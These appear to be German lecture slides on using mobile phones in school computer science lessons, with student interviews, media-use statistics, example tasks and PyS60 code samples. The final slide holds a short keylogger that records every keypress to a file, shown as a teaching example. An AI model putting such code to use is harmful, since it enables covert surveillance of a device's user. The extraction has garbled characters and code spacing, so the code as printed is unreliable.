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Zielsetzung

Zielsetzung

Die Teilnehmer sollen . . .

I die Vor- und Nachteile des Einsatz von �Mobiltelefonen�
anstelle von �Computern� im Unterricht auch aus
Schülersicht einschätzen können.

I die Wahl des im Unterricht eingesetzten Informatiksystems aus
der Genderperspektive betrachten.

I anhand von Beispielideen erkennen, wie Mobiltelefone für
theoretische und praktische Themen im Unterricht eingesetzt
werden können.
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Heutige Probleme mit Computern

I Kosten in Anscha�ung und Wartung

I Computerraum oder �Rollcontainer� notwendig

I Kann man nicht nach Hause mitnehmen
(�Hausaufgaben zur Wiederholen und Vertiefung.�)

I Schwierigkeiten in der Rechtevergabe:
Freiheit vs. Zerstörungswut

I Hoher Ablenkungsfaktor (Daher �Classroom
Management�-Programme)

I Breites Vorwissensspektrum beim Bedienerwissen

I Aus der Lebenswirklichkeit? (�Guter Unterricht erwächst stets
aus dem Leben, so wie es ist!� [GI, 2008, S. 1])
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Aus eigenen Interviews. . .

Auf die Frage, ob man Informatik lernen soll?

Mario: Ja, ich meine, es kommt drauf an, ob die Leute
wirklich viel auch am Rechner sind, oder halt doch lieber
mehr was anderes machen. Wenn die viel am Rechner
sind, dann würd ich auch so sagen: Ja komm, kannst du
auch deine eigene Homepage mal erstellen und halt �
keine Ahnung � vielleicht mal dein eigenes Programm
schreiben, auch wenn es nur vielleicht so ein kleines Spiel
ist oder sowas. Und es ist halt eine Erfahrung so für sich.
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Die Genderperspektive � JIM-Studie

Seite 10  Medienpädagogischer Forschungsverbund Südwest / JIM-Studie 2008 

konsolen zugelegt (+ 7 Prozentpunkte), auch der eigene Internetzugang (+ 6 PP), Compu-

ter (+ 4 PP) und Digitalkameras (+ 3 PP) haben an Verbreitung gewonnen. Auf Vorjahres-

niveau bewegt sich die Besitzrate bei Handy und MP3-Player (jeweils + 1 PP). Einen deut-

lichen Rückgang verzeichnen eher konventionelle Musikabspielgeräte wie Walkman/ 

Discman (- 14 PP), Kassetterekorder (- 9 PP), CD-Player und Mini-Disk-Rekorder (jeweils 

- 7 PP). Aber auch bei „Bildmedien“ wie Fernseher (- 6 PP), DVD-Player (- 4 PP) und Vi-

deorekorder (- 4 PP) geht die Ausstattung bei jungen Menschen zurück. 
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Gerätebesitz Jugendlicher 2008

Basis: alle Befragten, n=1.208Quelle: JIM 2008, Angaben in Prozent
 

 

Je nach Geschlecht unterscheidet sich der zumindest potenziell selbst bestimmte Zugang 

zu Medien. MP3-Player, Radio, CD-Player, Kassettenrekorder und Walkman sind bei Mäd-

chen häufiger zu finden, gleiches gilt auch für Digitalkameras und in geringem Maß für 

Handys. Dagegen haben die Jungen einen Vorsprung beim persönlichen Besitz von Com-

puter, Internet und Fernsehgerät. Am deutlichsten wird der Unterschied aber bei elektroni-

schen Spielen: Doppelt so viele Jungen wie Mädchen haben eine Spielkonsole für Fernse-

her oder Computer, und auch bei tragbaren Spielkonsolen liegen die Jungen deutlich vorn. 

 

Auch hinsichtlich der formalen Bildung der Jugendlichen zeigen sich Unterschiede in der 

Geräteausstattung. Während bei Computer und Internet, Digitalkamera sowie bei analogen 

Musikabspielgeräten die Ausstattung mit höherem Bildungsgrad deutlich ansteigt, ist dies 

bei Fernsehgeräten und Spielkonsolen gerade umgekehrt. So haben über zwei Drittel der 

Abbildung: Aus [MPFS, 2008, S. 10], Angaben in Prozent
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JIM-Studie
Medienpädagogischer Forschungsverbund Südwest / JIM-Studie 2008 Seite 37 

Offline-Tätigkeiten 2008 
- täglich/mehrmals pro Woche -
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Ähnlich wie beim Fernsehen zeigt sich auch hier, dass Jugendliche während der Compu-

ter- und Internetnutzung gleichzeitig andere Tätigkeiten ausüben. Mit 48 Prozent gibt knapp 

die Hälfte der Computernutzer an, mindestens mehrmals pro Woche auch noch andere 

Dinge zu tun, während sie sich mit dem Computer oder dem Internet beschäftigen (Mäd-

chen: 49 %, Jungen: 47 %). Die jüngsten Nutzer (12-13 Jahre) konzentrieren sich noch am 

stärksten auf den eigentlichen Umgang mit Computer und Internet, nur 29 Prozent machen 

gleichzeitig andere Sachen (14-15 Jahre: 53 %, 16-17 Jahre: 55 %, 18-19 Jahre: 54 %). 

Auch üben Gymnasiasten (52 %) häufiger Paralleltätigkeiten aus als Realschüler (46 %) 

und Hauptschüler (41 %).  

 

Um welche Tätigkeiten handelt es sich hierbei? Am häufigsten wird während der Compu-

ter- und Internetnutzung telefoniert, vor allem Mädchen tauschen sich gerne mit Freundin-

nen und Freunden aus. Daneben hören die Jugendlichen aber auch häufig Musik, lernen 

während oder bei der Computernutzung bzw. machen Hausaufgaben oder sehen fern. Ein 

Fünftel nimmt auch Mahlzeiten vor dem Bildschirm ein.  

 

Abbildung: Aus [MPFS, 2008, S. 37], Angaben in Prozent
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�Kann Datei nicht ö�nen!�
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Abbildung: Visualisierung der Auswertung aus [Dickhäuser, 2001]
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Aus den Bildungsstandards . . .

Die Informatik ist einerseits � wie die Chemie �
Grundlagenwissenschaft, aber im Gegensatz dazu auch
eine Ingenieurdisziplin, die sich mit dem Entwurf, der
Implementierung und dem Einsatz von
Informatiksystemen für völlig unterschiedliche
Anwendungsgebiete beschäftigt. Für den Unterricht folgt
daraus, dass nicht nur die Informatiksysteme �PC� und
�Internet� in den Blick genommen werden sollten.

[GI, 2008, S. 4]1

1Keine Hervorhebung im Original
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Aus den Bildungsstandards . . .

Darüber hinaus geht es aber beim Umgang mit
Informatiksystemen vor allem um die mit der
Strukturierung von Information verbundenen
Abstraktionsmethoden bzw. um die Verfahren zur
systematischen Verarbeitung von Information. Der
allgegenwärtige und alles durchdringende Einsatz von
Informatiksystemen wird damit zumindest zu einem
wesentlichen Teil durchschaubar.

[GI, 2008, S. 9]2

2Keine Hervorhebung im Original
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Aus den Bildungsstandards . . .

Darüber hinaus geht es aber beim Umgang mit
Informatiksystemen vor allem um die mit der
Strukturierung von Information verbundenen
Abstraktionsmethoden bzw. um die Verfahren zur
systematischen Verarbeitung von Information. Der
allgegenwärtige und alles durchdringende Einsatz von
Informatiksystemen wird damit zumindest zu einem
wesentlichen Teil durchschaubar.
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Wo Mobiltelefone punkten können. . .

I Geringe Kosten
I Keine Anscha�ung bei Nutzung von Schülersystemen
I Wartung in Schülerhänden

I Schnell verfügbar (Aufbewahrungsort: Hosentasche)
Aber: Begrenzte Akkukapazität (naja, immerhin gibt es Akkus)

I Schüler nehmen Gerät mit nach Hause
(Selbstverantwortlichkeit, Freiheit)
Aber: Gehen schneller verloren, fallen herunter

I Höhere Nutzungskompetenzen � Weniger weit gefächert.

I Aus der Lebenswirklichkeit!
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Aus eigenen Interviews. . .

Patrick: Am Anfang waren wir alle begeistert, da wir die
neusten Handys bekommen, wollten sofort mitmachen.

Wie war es im Schuljahr vorher?

Patrick: Habe ich nur mit Computern gearbeitet, also
Internet und sowas, selbst Homepages zu machen. Ja,
waren wir am Surfen. Da ging es um den ganzen
Computeraufbau, was so benötigt wird, damit der
Computer überhaupt läuft. Naja, das war viel besser als
jetzt.
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Aus eigenen Interviews. . .

Warum macht die Arbeit mit Mobiltelefonen Spaÿ?

Carsten: Ist halt besser als so zu sitzen zu schreiben[. . . ].
Macht halt mehr Spaÿ, der Spaÿfaktor ist höher. [. . . ]
Es macht halt mehr Spaÿ, ist anders, kennt man noch
nicht.

Was hat der andere Kurs nicht, was ihr habt?

Carsten: Ja, die können nicht so oft in den
Computerraum gehen und programmieren. Wir schon, wir
haben das immer dabei, können schnell etwas eintippen.

Gibt es auch etwas, wo du sagst, da haben die Vorteile?

Carsten: Hmm. Nein.

Informatische Bildung mit Mobiltelefonen, Matthias Heming 13/28



Einleitung
Computerprobleme

Mobiltelefone
Beispielaufgaben

Literatur

Vorteile
Meinungen

Aus eigenen Interviews . . .

Warum hättest du lieber den Kurs mit Mobiltelefonen belegt?

Isabelle: . . . um nicht die ganze Zeit am Rechner zu sein.
Auch �mobil� zu sein, drauÿen zu sein. Oder auch mal
zu Hause, nicht die ganze Zeit an einem bestimmten Ort
gebunden bin.

Bei was wäre der Rechner sinnvoller?

Isabelle: (Pause) Der Rechner sinnvoller? Da fällt mir
jetzt wirklich nichts ein, . . . vielleicht der Punkt, das man
mit einem Rechner etwas ausdrucken kann, das kann man
mit einem Handy nicht.
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Beispielaufgaben � Algorithmen

Nach Beispielaufgabe 3.03 aus [GI, 2008, S. 31]:

Notiere eine Handlungsvorschrift zum Verschicken einer
SMS-Nachricht mit deinem Mobiltelefon, berücksichtige
dabei, dass die Nachricht an ein oder mehrere Empfänger
geschickt werden kann, und das die
Empfängertelefonnummer sowohl manuell eingegeben, als
auch aus der Kontaktliste gewählt werden kann.
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Beispielaufgaben � Laufwerksbuchstaben

Das Programm Y-Browser für
Symbian S60 Betriebssysteme
zeigt beim Nokia N96 fünf
Laufwerksbuchstaben zur
Auswahl. Was bedeuten diese und
warum kann man nicht auf allen
Laufwerken Dateien ablegen?
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Beispielaufgaben � Standortbezogene Dienste

I Was sind Standortbezogene Dieste (engl.
Location Based Services)?

I Wie ist eine Positionsbestimmung von
Mobiltelefonen möglich? Welche Technik
wird von Google Latitude genutzt?

I Kann mein Nachbar heraus�nden, wo ich
mich gerade be�nde?

I Kann die Polizei heraus�nden, von wo ich
meinen Notruf getätigt habe?

I Notruf ohne PIN? Notruf ohne SIM?
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Beispielaufgaben � Datenbanken

I Die Telefonnummer des Freundes ist als Eintrag im
Telefonbuch vorhanden. Warum zeigt das Mobiltelefon beim
Anrufen trotzdem nur die Telefonnummer an?

I Jetzt habe ich 2 GB meiner MP3-Sammlung auf das Telefon
kopiert, aber das Musikprogramm zeigt an, es wären keine
Dateien vorhanden.
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Beispielaufgaben � Datenverteilung (1)

I Mario hat ein ziemlich abgedrehtes Video
gedreht. Weil er so stolz ist, möchte er es
am liebsten sofort an alle seine Freunde
schicken.

I Geld für MMS-Versand hat Mario nicht
mehr auf seiner Prepaid-Karte, aber das
senden über Bluetooth kostet ja nichts.

I Die Pause ist gleich zuende. Damit jeder
das Video anschauen kann, anstelle dem
Unterricht zu folgen, muss es jetzt
ziemlich schnell gehen!
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Beispielaufgaben � Datenverteilung (2)

I Bilden Sie zwei/drei/vier Gruppen, die jeweils die selbe Anzahl
an Mobiltelefonen mit Bluetooth-Schnittstelle besitzen.

I Wählen Sie pro Gruppe eine Person aus, die von der Lehrkraft
eine Datei (�Marios Video�) zur Verfügung gestellt bekommt.

I Es wird nun die Zeit gestoppt, die Sie brauchen, bis alle
Mobiltelefone in der Gruppe diese Datei ebenfalls gespeichert
haben.

I Sie bekommen vor jedem der drei Durchläufe jeweils 10
Minuten Zeit, sich eine Strategie zu überlegen, wie Sie
besonders schnell zum Ziel kommen.
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Beispielaufgaben � Kodierung

Abbildung: DataMatrix und QR-Code
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Passive Nutzung vs. Aktive Nutzung

Passive Nutzung

I Schülerinnen und Schüler als
Beobachterinnen

I Nutzung und Analyse
vorhandener
Informatikssyteme

Aktive Nutzung

I Selbst gestaltend, (auch)
durch Programmierung

I Informatik als �Handgri�
zur Wirklichkeit� Nach
[Floyd u. Klischewski, 1998]
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Aktive Nutzung: Beschränkungen und Möglichkeiten

I Bisher nur Symbian S60 Systeme produktiv einsetzbar.

I Android Scripting Environment vielversprechend, aber erst in
Entwicklungsstadium

I Gut ausgearbeitete API

I Einfacher Zugri� auf Kamera, Lautsprecher, Mikrofon,
GPS-Modul, SMS-Nachrichten, Telefonbuch, Kalender

I Signaturzwang
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Code-Schnipsel

1 impor t  appu i fw
appu i fw . note ( u" He l l o  World ")

4 impor t  t e l e phone
t e l e phone . d i a l ( u"+491701234567")

7 impor t  messag ing
messag in . sms_send ( u"+491701234567")

Abbildung: HelloWorld, Anruf tätigen und SMS verschicken
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Programmbeispiele � Soundrecorder

1 impo r t appui fw , audio , os

MENU = [ u"Play  sound" , u"Record  sound" , u" De l e t e  sound" ]
4 SOUNDFILE = u"E:\\ sound . wav"
sound = None

7 wh i l e True :
i nd e x = appu i fw . popup_menu (MENU, u" S e l e c t  o p e r a t i o n " )
i f sound :

10 sound . s top ( )
sound = aud io . Sound . open (SOUNDFILE)
i f i n d e x == 0 :

13 sound . p l a y ( )
e l i f i n d e x == 1 :

sound . r e c o r d ( )
16 appu i fw . query ( u" Pre s s  OK to  s top  r e c o r d i n g " , " query " )

sound . s top ( )
e l i f i n d e x == 2 :

19 os . remove (SOUNDFILE)
e l s e :

b r eak

Abbildung: Beispiel aus [Scheible u. Tuulos, 2007]
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Programmbeispiele � Keylogger

impo r t key cap tu r e as k , appu i fw

3 u e b e r s e t z e r = {
k . EKeyLe f tSo f tkey : " L e f t S o f t k e y " ,
. . .

6 k . EKeyHash : "#" }

d a t e i h a n d l e r = open ( "E :\\ l o g g i n g . t x t " , "w" ) #logg i ng�Date i v o r b e r e i t e n
9 de f e v e n t h and l e r ( key ) :

t r y : d a t e i h a n d l e r . w r i t e ( u e b e r s e t z e r [ key ]+"\n" )
e x c ep t : d a t e i h a n d l e r . w r i t e ( s t r ( key)+"\n" )

12
kc = k . KeyCapturer ( e v e n t h a nd l e r )
kc . key s = k . a l l_k e y s # a l l e Tas tendruecke werden p r o t o k o l l i e r t

15 kc . f o rwa r d i n g = 1 # Tastendruck an System w e i t e r l e i t e n
kc . s t a r t ( ) # log g i n g s t a r t e n

18 de f e x i t ( ) : # fu e r saube r en Programmabbruch
kc . s top ( )
d a t e i h a n d l e r . c l o s e ( )

21 appu i fw . app . ex i t_key_hand le r = e x i t

Abbildung: Quelltextauschnitt � Nur speziell signiert lau�ähig
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